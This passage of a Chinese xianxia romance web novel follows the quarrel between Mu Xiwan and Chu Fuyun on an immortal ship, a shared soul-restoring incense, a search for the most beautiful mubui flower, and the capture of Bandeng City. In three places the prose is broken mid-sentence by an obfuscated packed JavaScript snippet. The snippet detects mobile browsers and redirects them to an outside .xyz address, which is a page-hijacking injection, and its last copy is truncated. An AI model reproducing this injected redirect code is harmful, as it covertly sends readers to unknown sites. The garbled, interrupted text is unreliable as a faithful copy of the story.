暮兮晚别开眸,一时没不吭声。 她明白没什么好答的,两个人都心知肚明的事,有什么徒废唇舌的必要呢——她还是没想明白楚扶昀为何会发现她从馆驿跑了的。 “知道你行动的危险性吗?”楚扶昀压着火,尽量冷静地在同她说话。 “我明白。”暮兮晚听出了他疾言厉色下的理智,抿了抿唇,低声道,“夜闯半灯城一事我考虑了很久,我很清楚若无意外,我不会出事。” “哪怕我如今一无所有,我也有自保的能力,我从没想过给你添麻烦。” 楚扶昀凝着她,从发现她不见的那一刻起,一直紧绷的神志到此时才稍有和缓。 暮兮晚悄悄抬了抬眼帘,看了他一眼后又补充道:“我也没想过给虞辞添麻烦。” 楚扶昀和缓的神色又冷了回去。 “少宫主,你也知道是‘若无意外’啊。”他字字珠玑地又强调了一遍,声音咬的很重,“一旦出了任何意外,这个后果由谁来挽回?” 暮兮晚垂着目光选择沉默,她能感受到楚扶昀如今正在生气的边缘,也不想硬碰硬地同他吵架。 以前在白洲时,两人不是没有赌气冷战过,对峙到最后,总有一个人的言辞或者举止会越界。 不要越界。 暮兮晚不断提醒自己。 “第二次走神了,少宫主。”楚扶昀揉了揉眉心,声音有些喑哑疲惫,“你若魂飞魄散,告诉我,还有什么法子将你捞回来。” 暮兮晚深深呼出一口气,她抬眸,迎上了他的目光,道:“将军,你不能抛开事实看问题。” “任何机会都是需要赌的,天底下没有万无一失的行动,然而事实就是我没有出事!将军,你所有的顾虑都已经不重要了。” 两人目光不动声色的交融,楚扶昀看着她,显然不打算轻饶:“孤身入敌营,这就是你的行动?” 暮兮晚蓦地一滞,她有时候委实费解楚扶昀的决策——他那样聪明的一个人,怎么能比她想不明白其间利害? 于是暮兮晚不得不继续为自己争辩:“将军,我清楚虞雍与仲容手中的法宝威力,若不烧了它们,等天亮时你的战役一定会极为凶险。” 楚扶昀静静听着她的一字一句,心里一叹。 暮兮晚道:“我明白,兵将于你而言就是你手中的棋子,但我也明白,只要我烧了法宝,这场战役一定会比原来更快结束,也能少牺牲更多的人。” “比起人命,我需要承担的风险实在不值一提。” 楚扶昀看着她,眉梢轻锁,忽然轻轻的,长长的笑了一声。 他记得,在刚来白洲时,这位少宫主说话可没这么理直气壮头头是道,那时的她更像一个生活在自己世界里的姑娘。 暮兮晚善阵法,善炼宝,但为了防止她羽翼丰满,千洲绝不会将兵权交给她,更不会教她用兵之道——她那位温润儒雅却手握兵权的师兄也没教过她。 楚扶昀只觉得千洲那群老东西都是有眼无珠的蠢货。 千洲不教,他来教。 白洲是兵家之地,楚扶昀干脆放任她在这自由生活,没防着她什么,也没顾虑过她会不会窃走任何军事机密。 百年过去了,楚扶昀却恍然发现,他的少宫主居然将这些兵家道理用在了自己身上。 “楚扶昀。”破天荒的,暮兮晚似乎觉得她越说越有理了,甚至隐隐生出不满——她只有在和他赌气时才会直呼其名,“师父相信我,虞辞也相信我,你凭什么不信任我的能力?” “不信任?”楚扶昀忽然像是听到了什么有意思的话,他将这三个字冷硬的重复了一遍,目光一挑,“少宫主,你没资格说这话。” 暮兮晚一怔:“什么?” 楚扶昀冷笑了一声,他转身坐在踏云仙船的船首处,闭了一会儿眼睛。 随后,他轻轻拨动了仙船上的机关。 踏云仙船霎时飞了出去,在汹涌的江水上,像一片叶子迎着大雨,颠簸,破浪。 暮兮晚一下子惊住了,她从不知道他其实会开船,她也记得,因为晕船之故,他曾经很嫌弃她造的仙船。 可如今,她却看见楚扶昀操纵着仙船上的每一处机关,熟稔的,仿佛是他在她不知道的时候,早已接触过许许多多次了。 楚扶昀的唇色越来越苍白。 天上砸下的雨水一道一道从他额间淌落,不,暮兮晚想,或许那不是雨,而是他因魂魄不适而生出的冷汗,混在雨里,她分不清而已。 暮兮晚的心跳,也随着这越来越快的仙船狠狠的颠簸了一下。 “你疯了!”她立时倾身上前想夺过踏云仙船的控制权,可无论是力道还是速度,她都拿他没有办法。 眼看着仙船在晦暗风雨中离半灯城越来越近,暮兮晚终于急了:“前面就是半灯城!楚扶昀!你是想将我送回去吗!你知不知我……” 你知不知道我曾真的犹豫过,要跟仲容走。 可我不想跟他回去。 后半句话没有说出口,就止住了。 因为船在江面中央停下了。 楚扶昀松了机关,一抬手,径直反扣住了她的手腕,紧接着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15320255|167445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他生着一层薄茧的手指沿着她的腕子一寸一寸向下,先是笼住她的整个掌心,再是捉住她妄想挣扎的,不安分的指尖,攥紧了。 最后,他分开她的指间,十指扣住,就这样将她的魂体扣在了他的方寸之间。 “你没资格同我谈‘信任’二字。” 他平静了一下,眸光紧紧锁着她,声音波澜不惊。 “让我信任你?少宫主,那你信任过我吗?” 暮兮晚怔了一下,原本想挣脱手也慢慢安分了下来,任由他牵着。 窄仄的船身里,他的声音半步不退地迫着她。 “火烧敌营这事,你提前告诉了长嬴,告诉了虞辞。” “唯独,没有告诉过我。” 他攥着她的指尖,紧了一分。 暮兮晚皱了皱眉。 “凭什么?”他冷声。 楚扶昀压着如刀般的嗓音,又道:“你想烧敌营,可以,你想杀回千洲,也可以。” “你现在要是有心情,我也可以带着你径直杀过江,连夜斩了虞雍。” “都可以。” “我甘愿奉陪。” 他几乎是一字一字咬着声音,生着气,说起话来也就没什么顾及。 “可我凭什么,连被你信任的资格都没有。” 暮兮晚哑然沉默。 她听出来楚扶昀这回是真的生气了,他对她越级越权,又自作主张的行为生气了。 可当时,她就是因为不想惹他生气,才没选择将一切行动告诉他。 又搞砸了。 暮兮晚心里生乱,理亏,却不肯服输,也不肯主动妥协,哪怕她明白楚扶昀说得没错——在有关生死的大事上,她其实从没信任过他。 暮兮晚说不上来这是一种什么样的心态,她很信任师父,也很信任与她交浅言深的虞辞。 有时候她甚至在想,若是没有在灵台山遇到楚扶昀,她应该会一直跟着师父在人间飘飘荡荡,直到飘来东洲,寻求虞辞的帮助。 就像很吝啬对他说好听的话一样,她也真的很吝啬交给他哪怕一点点信任。 就像…… 就像她吝啬于交给他的,不是一份信任。 而是一颗真心。 她害怕将自己的一颗真心交出去。 可现在,楚扶昀紧扣着她的掌心,声音,目光,都近乎疾言厉色,仿佛逼问一般的在问她—— 你凭什么不信任我? 暮兮晚垂下眼眸,长长的沉默后,她才抬眸,哽着嗓音说:“我又不是你手下的兵,我们之间什么关系都没有,我没有一举一动都要向你汇报的义务。” 旧友?仙眷? 总归他们之间红鸾契已毁,姻缘两无,也谈不上“关系”二字。 “毫无关系?” 楚扶昀笑了一声,像是被气着了,他俯身侵近了她,说话声音伏在她耳边,凑得更近了。 “少宫主。” “在白洲时,在红日夕色下那成片的水间芦苇荡里,都发生过什么,忘了?踏云仙船的名字究竟是谁起的,也忘了?” 暮兮晚脸颊蓦地一红,屏着呼吸看向他。 两人目光交揉,楚扶昀的神情却似笑非笑,步步紧逼。 “还是需要我帮你回忆起?”他凝着她,从容不迫。 在白洲时,到底发生了什么呢? 其实发生了好多好多事。 暮兮晚的思绪有些乱,过往旧事没头没尾的在她心里翻来覆去,乱成一团。 她确实想起来了一桩事—— 是她第一次发现楚扶昀晕船的契机。 那也是他们二人之间,第一次有越界的,出格的举动。 18. 请良君杯酒散花洲 暮兮晚至今都记得,在白洲时也是这样一个夏日夜晚。 也是这样的一艘小船。 晕船的楚扶昀整个人都栽在了她身上。 “对对对不起……!”暮兮晚一下子慌了神,手足无措不知如何是好,她只是太闷了,所以想来飙船玩儿,“我不知道你晕船。” 那时她才刚刚嫁给楚扶昀没多久,为了寻找杀他的机会,屡次三番对他主动示好——譬如邀他一道游船赏月,对酒当歌。 可楚扶昀只是淡淡的拒绝了她。 暮兮晚对此失落了很久。 一方面,她确实不知该如何接近这位对她毫无感情的,凉薄寡情的夫君,另一方面,她孑然一人来到白洲,陌生的环境,也确实让她感到了孤独。 或许是她太不知敛藏,没多久,就让楚扶昀察觉了这份细微的情绪。 楚扶昀同意了陪她游船。 暮兮晚欢天喜地的搬出了最近自己新造的仙船,并客气礼貌且兴高采烈地准备在楚扶昀面前露一手——她要飙船!她要带白帝体验一次飙船的自由! 然后,堂堂白帝,威名赫赫不可一世的白洲帝主。 倒在了她的身上。 “对不起……”暮兮晚欲哭无泪,百感交集。 小船孤零零地泊在河面上,近边水处有芦苇荡,远处是庄严肃穆的仙宫银阙。 “别动。”楚扶昀阖着眸子,几乎是咬着声音说出这样一句话。 暮兮晚吞咽一下,不仅不敢动了,连呼吸也不敢了。 因为楚扶昀与其说是挨在她身上,倒不如说,他是将她拥在怀里。 臂弯揽着她的腰,略地侵城一般的占据了两人间的空隙,呼吸挨在她耳边,轻,浅,痒。 暮兮晚屏着呼吸没来由地胡思乱想,这是不是一个很好的机会?要不要杀了他? 她的手几番抬起,又落下,无处安放。 “你可以呼吸。” 半晌,她听见楚扶昀笑了一声,低沉的嗓音宛如共振。 “我又不是在吻你。” 他这样说。 暮兮晚的脸颊一下子就红了,她不敢摸,肯定是烫的。 各种旖旎的念头在脑海里浮浮沉沉,惹得她屏了好久的呼吸忽然一松,心猿意马的,就全乱了。 混账。 她悄悄在心底嚣张地骂了他一句。 “嗯,我混账。”像是听见了她的抱怨似的,楚扶昀又笑了一声,手间一紧,又让她在他怀里的挨得更近了。 暮兮晚听得一惊,睁大了眼睛,道:“你还有读心的神通呢?” “没有,在诈你。” 楚扶昀唇角还隐着笑,拥着她,惹她这一说话,他只觉得所有的不适都轻飘飘的散了。 “是你的脸颊,烫着我了。” 被他抱着,她的脸颊刚刚好挨在他颈边,温度一点点攀上去,轻而易举就被发现了。 他猜这姑娘绝对又骂他了。 暮兮晚忙伸手去摸摸自己的脸,果然比平时要烧,不用看都知道肯定很红。 太没用了,怎么能被人一撩就红啊。 她顿时失了所有紧绷的心绪,一放松,额间抵在他肩处,看上去有点儿自暴自弃。 楚扶昀捉住了她的手,扣在他掌心。 暮兮晚很沮丧:“你既然晕船,那怎么不一开始就拒绝我游船建议啊。” “少宫主,不要颠倒黑白。”楚扶昀阖了阖眸子,声音听上去有些无可奈何,“我拒绝过很多次了。” “是你看上去一副失落至极的模样,仿佛我干了什么罪大恶极的事儿似的。” 再说他也没想到,她压根不是游船,是飙船。 暮兮晚试图辩解几句:“我以为你是那种绝不会妥协改变的老古板呢。” 原来楚扶昀是一个很好说话的人嘛! 她像发现了一件新鲜事儿似的,悄悄抬眸打量了他一眼。 “你怎么能对我有这么严重的偏见?”楚扶昀蹙起眉梢,沉声道,“人是会改变的,谁也不例外。” 人会变,人心也会变。 当它倾向一个人的时候,自然就会为那个人而改变。 楚扶昀的这句话,湮没在了那个晚上。 岁月太久,时间又太漫长,直到很久很久以后,直到请花关大军出征的前夜,被楚扶昀逼迫般的一问,暮兮晚才重新想起来这一桩事。 他曾说过,他是会去主动改变的一个人。 暮兮晚眨了眨眼,她回了思绪,慢慢抬眸再去看向淋在雨里,还生着气的楚扶昀。 他确实因为魂魄不稳所引起的晕船之故,很排斥所有的船只。 唯独她造的踏云仙船例外。 甚至不知什么时候,他还学会了开船。 暮兮晚还记得,“踏云”这个名字,是后来楚扶昀起的,说是取“涉青云以汎滥兮”之意。 这一切的改变都是因为谁? 因为她吗? 暮兮晚脑海中有一瞬空白,她想,她需要点儿时间,去收拾自己混沌的心情。 “我们回去吧。”她一边说,一边抬起另一只没有被他扣住的手,想去扯他的衣袖,示意楚扶昀带她回去。 可他一身戎装,压根没有衣袖能让她扯。 于是暮兮晚退而求其次,轻轻勾了一下他的手腕。 楚扶昀掀了掀眼帘,抬眸一看,雨不知什么时候停了,天快亮了。 这一夜将要结束,即将迎来的就是分别了。 暮兮晚正想再说些什么,手臂却传来灼烧般的疼。 “嘶……”她疼得忍不住轻唤了一声。 转眸看向自己手臂,原来是有一线矇昧的日光照在了那儿。 楚扶昀瞬间变了神色。 他攥着她的手腕看去,只见暮兮晚孱弱的魂体,正在这一线矇昧的日光下一点一点消散。 阴气太重,畏惧阳光。 “返魂香呢?”楚扶昀一眼就察觉了她身上的不对,原本应该牢牢系在她腰间的返魂香此时此刻无影无踪。 遗失了? 绝不可能,系着返魂香的带子被他下了法术,除非她主动拆下,否则绝不会有脱落的可能。 又是一阵船身摇晃导致的眩晕袭来,楚扶昀犯着疼,他一手撑着额间,唇色苍白,竭尽全力想说话。 “你,你别急……”暮兮晚也有点儿慌,在她预想里这个时间点儿她早该回馆驿了。 她一边说,一边试图东躲西藏的找一处能遮阳的地方。 狭窄的船身内,怎么可能有遮蔽。 暮兮晚东看西看,毫不客气的直接钻进了他的白甲后面的苍黄披风里。 他的披风昨夜挨了雨,眼下有点儿潮湿,可暮兮晚也顾不及那么多了,她将他披风拖过来裹在身上,将自己遮了个严严实实。 手臂上的灼烧感消失,她魂体的消散也停止了。 楚扶昀眉眼冰凉。 “你将我送你的返魂香,扔了?” 他慢条斯理地解下披风,施法拂去了上面所有的潮湿,可说话的声音却比方才喑哑。 又生气了。 暮兮晚心道不好,她简直快跟楚扶昀赌气赌出经验了,这语气一听就知道完了,比方才还完!不冷战个几天几夜,绝平不了火。 暮兮晚:“……” 楚扶昀阖了一下眸,按了按自己眉心,强行压下心里所有沉沉的疼。 他是个不太喜怒形于色的人,平日带兵率军一贯肃穆冷冽,却极少真的动怒发火,可偏偏,他的少宫主不管有意还是无意,最知道怎样在他的软肋处兴风作浪。 送她的东西,她就这样毫无留恋的扔了。 好。 好极了。 “马上就是卯时初刻了,你又要弃军不顾么?”暮兮晚嘟囔了一句,她顶着苍黄色的披风,又悄悄看了一眼晦暗将明的天色,“楚扶昀,你真的好过分。” 嗯,她还会恶人先告状。 楚扶昀被气笑了。 “随我回军营。”他抬眸,不由分说的下了命令。 暮兮晚试图谈判:“我要回馆驿。” “是自己飘回去?”楚扶昀压根对她的要求置若罔闻,只是目光在她身上瞥了一眼,冷笑道,“还是等我亲自抱你?” 暮兮晚:“……” 这还用想么。 她心道军营里那么多将士,要是看见她被他抱着,她的脸还要不要了? 于是暮兮晚忙不迭顶着他的披风像只幽灵一样的飘啊飘,快得像一阵风一样就飘回去了。 回到请花关的军营时,正正好是卯时。 天蒙蒙亮,数万将士厉兵秣马,只等时辰一到即刻出发。 可他们的将军却彻夜未归,不知所踪。 大军出征前夜,主将不见了! 楚扶昀麾下的十二太仙急得像热锅上的蚂蚁,团团转,无不提心吊胆。 将军呢?谁来告诉他们,他们的将军到底去哪儿了? “我,我们是不是又被将军抛下了。”有一位太仙满脸愁云,神情怅然。 另一位太仙正想搭话,却堪堪止住了。 因为下一刻,所有人都目瞪口呆地看见——将军的披风自己飘回来了。 这披风在看到他们时,似乎僵了一僵。 双方皆是微微一僵,愣了片刻后,却见这披风动了动,非常自觉地飘回了将军的营帐里。 真是见鬼了! 在场数万人齐刷刷升起这样一个念头,倒吸一口凉气,将军的披风居然甩掉了将军自己飘?怕不是要造反? “不要慌。”一位见多识广的太仙叹了口气,感慨道,“那是少宫主。” 所有人瞬间放下了心。 紧接着,只见楚扶昀也乘风进了军营,出现在所有人面前,神情看上去还是一如既往的波澜不惊。 “将军,我们……”有一位太仙迎了上去,作揖叩问。 “再等半刻。”楚扶昀目光一扫,没有在数万将士面前逗留,反而径直疾步向前,掀帘也进了军帐。 他掀帘进去时,暮兮晚正裹着他的披风坐在塌上,看上去心情很不好。 楚扶昀可没这个时间哄她,他重新取了一件新的披风系上,又抬手捻诀,在暮兮晚身上下了一道法术,金色的光芒从他指尖流泻而出,在她周身萦绕。 “楚扶昀你又关我!”暮兮晚有点儿生气,她一眼就认出了他下在她身上的法术是什么——是一道限制她行动自由的法术。 “少宫主,你今夜不同我打一声招呼,趁我领兵时孤身跑去敌营。”楚扶昀声音平稳,毫无温度,“提醒你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15330727|167445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一句,上一次你这么做所带来的后果——” “是你死在了袁涣轩手中。” 十二年前她也是这样,趁他出兵时不打一声招呼的就跑了,跑回了千洲方外宫。 今夜她的一举一动,与十二年前压根没什么分别。 “三日内,你不可离开请花关半步。” 楚扶昀捻诀念咒,在他法术完成的最后一刻,有数道强大金光化成小小的一缕光圈,禁锢在她的手腕上。 “楚扶昀,你凭什么说我将返魂香扔了。”暮兮晚显然还在介怀方才船上他对她那一句疾言厉色的质问,声音闷闷的,“我不要给你撒花了。” “这一次回来,你没有花雨可以看了。” 白帝出征归来之际必有花雨可观,但暮兮晚还在和他赌气,所以她说——我不要给你撒花了。 楚扶昀眸子听了她的话,却是唇角微扬,笑了:“嗯,知道了。” 没关系,等我回来。 这后半句想说的话,他斟酌了一瞬,到底,还是没有说出口。 本来再跟她多说几句,但时间太仓促,也太短了。 算了。 楚扶昀收回了目光,转身,离开了军帐。 暮兮晚抬眸,唇齿咬了一下,似乎还想再说些什么。可是晚了,楚扶昀的背影已经彻底消失在她眼前。 军帐外的天光一线一线亮起,凛冽如雪,盛大辉煌。 暮兮晚浅阖着眸枕在他的榻上,刚刚吵过架,一下子松了劲儿,整个人都倦倦的。 不知过了多久,她再一次听见了军帐外的脚步声。 这声音激得她一下子就清醒了,她坐起来,看见神农岐掀帘进来。 “啊我的祖宗嘞……”神农岐抹了一把额间冷汗,声音有一种劫后余生的庆幸之意,“您没事儿就好。” 暮兮晚压下心里那点儿很浅很不是滋味的失落。 神农岐显然被她的胆大妄为吓得不轻,絮絮叨叨抱怨着:“您有事儿跟我商量!商量啊!别再一言不合就算计我了!您知不知道我醒来时发现您不见了有多么……” “神农岐你帮我个忙。”暮兮晚没有理会他的抱怨,而是从衣衫里寻出一个小小的布袋子扔向神农岐,“帮我转交给将军。” 神农岐接住袋子,神情有些疑惑。 暮兮晚垂下眸,声音有些不自在:“本来是想在他出征前送给他的……” “可刚才在和他吵架,就忘了。” 神农岐迟疑了一下,叹息了一声后收了袋子,又急急忙忙转身掀帘出去了。 …… 大雨方晴,天光乍破。 数百战船轰然起锚,在江水白浪中前仆后继。 楚扶昀此时此刻正坐在高高的战船上,闭着眼,眉心深锁,周身气压低到极致。 他的下属端肃井然地站在他身后,没人敢说话,也没人敢上前关切。 他不舒服。 楚扶昀吞咽一下,试图压下所有的不适。 徒劳。 魂魄不稳带来的后遗症,让他无法忍受任何眩晕,难受到极致,就是疼,仿佛一场缓慢持久的酷刑,在骨头里绞着。 平日里忍一忍就过去了,他身份地位,责任担当,都不允许他撑不住。 可昨夜他与他的少宫主在江面上对峙了良久——她不仅和他置气,还不知何时扔了他送她的东西。 凭什么? 她在千洲时为那群有眼无珠的蠢货们炼了那么多宝物,来了白洲后她也很大方,大方到甚至为神农岐造了个千机药葫芦。 唯独从没送过他任何东西。 他想,没送就算了,总归她在他身边,也就不强求更多的了。 结果如今她反倒还扔了他送她的返魂香。 楚扶昀揉了揉眉心,这一想,就让眼下的头昏更难熬了。 “将军。”神农岐的声音在身后响起。 楚扶昀压根不想理他。 “少宫主托我来,送一样东西。”神农岐硬着头皮又补了一句。 楚扶昀睁开眼,余光瞥了一眼身后人。 神农岐立即上前,恭恭敬敬地将暮兮晚交给他的布袋子交到楚扶昀手上。 楚扶昀蹙着眉,将布袋子里的东西倒在掌心,随后,目光完完全全怔住了。 一阵微酸的清香从手心传来,霎时平息了他身上所有不适。 眩晕,头疼,烟消云散。 她托神农岐转交给他的,是一个银质的,铃铛模样的镂空银球香囊。 返魂香。 她原来……没有扔,而是在问了神农岐香方以后,将其一分为二,重新炼化了一个镂空香囊球,将其中一半分给了他。 她知道了他魂魄不稳。 她也记得返魂香有固魂之效。 夜袭半灯城一事她赶时间,所以才没来得及重新系回身上。 楚扶昀忽然阖眸,轻笑了一下,好看,在他唇畔停留了很久。 他回眸,想要望向江的另一边,可是太远了,远到,他已经来不及折返回去了。 “将军……?”神农岐有点儿紧张。 “无事。”楚扶昀唇畔的笑淡去了,没有再露半分情绪。 他只是忽然在想—— 早知道。 就好好和她告个别了。 19. 请良君杯酒散花洲 若在十洲问起,见过这世间最美的花雨吗? 定会有人答道,见过,是白帝出征归来之际自天降下的花雨。 暮时天光,瑞霭缤纷。 风大了几分,虞辞站在坠着层层叠叠仙花的木岁树下,回眸看向身后的暮兮晚,轻声一笑。 “楚扶昀私下同我谈起过一桩事。” 暮兮晚心生奇怪,问道:“是什么?” 虞辞道:“他说,若此战能保东洲无恙,作为交换,他要取走请花关的……木岁花。” 暮兮晚一怔,她抬头望着即将彻底枯萎的木岁树,叹道:“这树上不是开了很多?随便摘一朵不成么?” “不成,木岁花由木岁星的灵气凝结而生,想取走谈何容易。”虞辞摇摇头,失笑道,“只有灵气最为充沛的那朵花,方能重塑仙体。” 暮兮晚有一瞬恍惚,她记得在枉死城时,楚扶昀曾对她提过——救一个人,需要四件宝物,三场火。 她问道:“哪朵花灵气最为充沛?” 虞辞答道:“最美的。” 暮兮晚眨了眨眼,有点茫然:“啊?” 虞辞望着木岁树明眸而笑:“这树上最美的那一朵就是了。” 暮兮晚摇头道:“这个答案太过模棱两可,‘美’与‘不美’从来由心而定。” 虞辞笑:“是啊,‘最美’二字太过飘渺,各花入各眼,所以这两百余年,从没有人能取走过真正的木岁花。” 她说着,抬手捻诀,法术涌动间,有数片花瓣儿在指尖翻飞起舞。 “少宫主,你能寻出来吗?”虞辞看着暮兮晚,笑容难得温柔。 暮兮晚下意识以为自己听岔了,她定了定神,道:“我来寻找这树上最美的一朵花么?” 她又抬眸瞥了一眼花坠满枝却将枯萎的木岁树,粗略估计,花有千百余朵。 虞辞颔首:“只要你能在此树自陨凋零前寻出它,我便将它赠予你。” 风声一涌,天光恍得人几乎睁不开眼,暮兮晚敛眸沉默了好一会,才轻声道:“我试试。” …… 寻一朵最美的花。 暮兮晚不认为这是一件很切实际的事。 但楚扶昀出征,总归得给自己找点儿事做,这样想着,她轻轻飘上了树,在这一树仙花中,一叶一叶的寻过去。 难。 太难了,怎么可能寻出来呢? 暮兮晚不常与仙花瑶草打交道,她只能主观的认为这一朵也好看,那一朵也好看,有时见到一朵更好看的,还来不及细瞧,那花儿就落了。 木岁树正在枯萎,随着它的衰败,一朵又一朵花接二连三的扑簌簌落下来,落在暮兮晚身上。 暮兮晚身上兜了满身花瓣儿,她甚至有些怀疑,若是最好看的那一朵已经凋谢了,又该怎么办呢? 鎏金色的夕光挂在树梢上,随着她在花叶中飘来飘去,栖在树间的鸟儿被她惊起,掠空飞去了。 这一寻,就是两日。 请花关近日祥云光满,有各界仙子侍者们驾云而来,禀明东洲都主,说是想在此地道观借住,只为饮酒观花,都主听罢点头应许。 一时间,关内热闹非常。 “我知饮酒是饮东洲佳酿‘十洲春色’,但观花……观得是甚么花?”在道场上香敬仙的百姓见状,不由得心中生奇。 “观得是‘请君散花’。”观内道士慈眉善目,乐呵呵道,“白帝离开灵台山,又于请花关出征,这一消息传遍十洲,自然引得不少仙家趋之若鹜。” 百姓挠了挠头,不解道:“白帝出征有什么稀罕?谁不知晓白帝这位天神是将星命格,他要能输,我将咱观内未来一年的功德钱物都包了!” 道士笑得更开怀了:“白帝出征当然不稀罕!白帝归来的漫天花雨才是稀罕!此景为天下一绝,甚是美哉!” 百姓摇摇头,道:“既说白帝归来之际必有花雨可观,那我且问,这花是谁散的?又是打哪儿来的啊?” “好问题。”道士蓦地一滞,思量半晌,才慢慢道,“听说这百年间的花雨……或许都由千洲的少宫主所为。” …… 可暮兮晚这次压根不打算为楚扶昀散花了——她不干了!谁让她还在生楚扶昀的气呢! 这两日,她误打误撞的已经碰落了不少木岁树上的花瓣儿,她坐在木岁树上,将这些花瓣兜在怀里,沉沉叹气。 难。 太难了,不可能寻出来的! 暮兮晚心想,虞辞的这个要求太严苛了,没有答案的,因为“最美”二字从来没有定义,所以哪怕她把木岁树薅秃了!都不可能寻出真正的木岁花。 木岁树在死去,花瓣儿在飘落,她猜测,或许真正能重塑仙体的木岁花,从来都不存在。 偶尔,她在树间休憩时,也会听见一些上香敬仙的百姓在互相交谈。 “……所以少宫主为何要为白帝散花?世人皆知他们貌合情离,当年的轰动十洲的仙姻也不过各为己利。” “谁知道呢,保不准是这位潇洒自在的少宫主在虚情假意里先动心了?” 暮兮晚听得这些闲话,身体微微僵了一下。 我没有。 她悄悄在心里这样反驳。 当年方外宫将她送到白洲,下了一道法旨,令她杀了楚扶昀。 可楚扶昀镇压天下所有的不公暴逆,灾滞劾掠,披着一身杀伐之气,哪怕她成了他名义上的“仙眷”,两人间也毫无感情,想杀他,她没有任何机会。 起初为了接近楚扶昀,暮兮晚才搞出这么个散花仪式,意在改善她与他之间淡泊如冰的关系。 可后来,当她厌烦了这种逢场作戏的伪装,想要停止这一切时,她却发现她没办法中断这一‘请君散花’的习俗了。 因为百姓们都很喜欢看。 当今十洲四时不正,花少叶稀,天下凡尘民众似乎对这一奇观颇感兴趣,甚至十分期待。 大家说,这是天下最美的花雨。 暮兮晚完全不忍心看到百姓们失望而归。 于是她只能一次又一次驾着踏云楼船乘风入青云,在无人的九天上散花落凡,逐渐养成了习惯。 她想戒掉这个习惯。 反正楚扶昀也一向不在乎这些,这么多年了,他对‘散花’这一仪式从未有过任何半分表示,想来是不喜欢的,更何况,他肯定也在生她的气。 她不想自作多情。 阳光照人,茸茸地暖意透过树梢映在她脸上,跳过来,跳过去。 风一吹,木岁的花瓣再次扑了她一脸。 暮兮晚措不及防又被砸了,她再次半恼半嗔地同木岁树争辩起来。 “你又碰瓷!”她拍了拍花瓣,将它们兜在怀里,任性的抱怨着,“你是三十三重天上的星星下凡,怎么能这么娇气呀。” 花瓣儿还在簌簌落下。 暮兮晚声音低了下去,她似乎想到了什么,忍不住噗的一笑——嗯,楚扶昀也很娇气,他连船都晕,让她不得不将返魂香分他一半。 “喂,三十三重天是个什么样的地方?” 木岁树不理她。 暮兮晚垂下眼睑,等了良久都没等到答案,半晌,她自言自语似的又问了一句。 “你身上最漂亮的那朵花……到底在哪儿呀。” 起了风,风吹过树梢花瓣,沙沙的,簌簌的,一时间连天地都安静了。 木岁树没有回答她。 暮兮晚独自一人抱膝坐在这场带着馨香的风中,安静沉默的,望向很远很远的地方,她看见了广袤无际的江水,看见了连绵如云的军帐。 看不见他。 …… 第三日,楚扶昀攻下半灯城。 四海十洲无人不知,这位自非凡尘人物的白洲帝主叱咤天下,并没什么花里胡哨的凭仗,他平日最用得趁手的也不过一法宝,一兵器而已。 法宝名唤“山河破军棋”,相传,此棋借天地为经纬,倒映出整个十洲的江海山河,楚扶昀执棋起落,以搅弄风云,主掌兵戈。 兵器唤作“尘世七杀枪”,不过比起破军棋,此枪倒显得颇为神秘,几乎少有人真正见过,毕竟一旦白帝真的现兵器,那必然是流血漂橹的动荡。 楚扶昀在世人面前亮七杀枪曾有过两次,一次,是他一统白洲,任白洲帝主的战役。 另一次,则是在十二年前——白帝提枪差点儿杀穿了方外宫。 谁也不知十二年前发生过何事,只知白帝在拎着沾血的七杀枪从方外宫出来后,孤身穿过寂寥无垠的生死之地,恹然地走向阴司黄泉路。 说是寻人,没寻到。 后来,白帝长居灵台山。 十二载。 而今,楚扶昀攻下半灯城,这破军棋与七杀枪,他一样都没动用。 半灯城的城主虞雍不配,仅此而已。 楚扶昀踏入半灯城军营时,阳光喷薄而出,他背着光,披着挂,不疾不徐地行走在一片战战兢兢,凄凄惨惨的战场上。 半灯城虞雍麾下将士们本就军心不稳,见白帝涉天光而来,更是缩首归降。 虞雍败阵后穷途末路,退不得,逃不掉,挨着一身伤倒在地上,冷汗涔涔。 楚扶昀微笑着向他走来。 虞雍吓得直打哆嗦,平日里养尊处优惯了,如今见到真正的,杀神一样的人物走向他,一时间所有的情绪全没了,只剩下最本能的,对死亡的恐惧。 恐惧漫长无比,虞雍没了任何理智,他颤抖着想试图再去寻自己的兵器,以求搏一线生机。 可下一瞬,他手中兵器化作齑粉。 “敢在我面前动兵戈。” 楚扶昀的笑意彻底敛去了,眸光冷寂,声音却慢条斯理。 “你活腻了?” 虞雍大骇,紧接着,他感到一阵刺痛,低头一看,只见一柄以法术凝成利刃穿心而过。 楚扶昀抬手捻诀,轻松随意地将利刃寸寸推进虞雍心脉处,碾,绞,难以忍受的折磨压着地上狼狈如泥的人。 虞雍在濒死中挣扎,他终于反应过来——楚扶昀是要他不得好死。 “十二年前和袁涣轩联起手来算计她的时候,没想过今日?”楚扶昀眉眼清冷,如深秋霜寒。 虞雍一瞬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 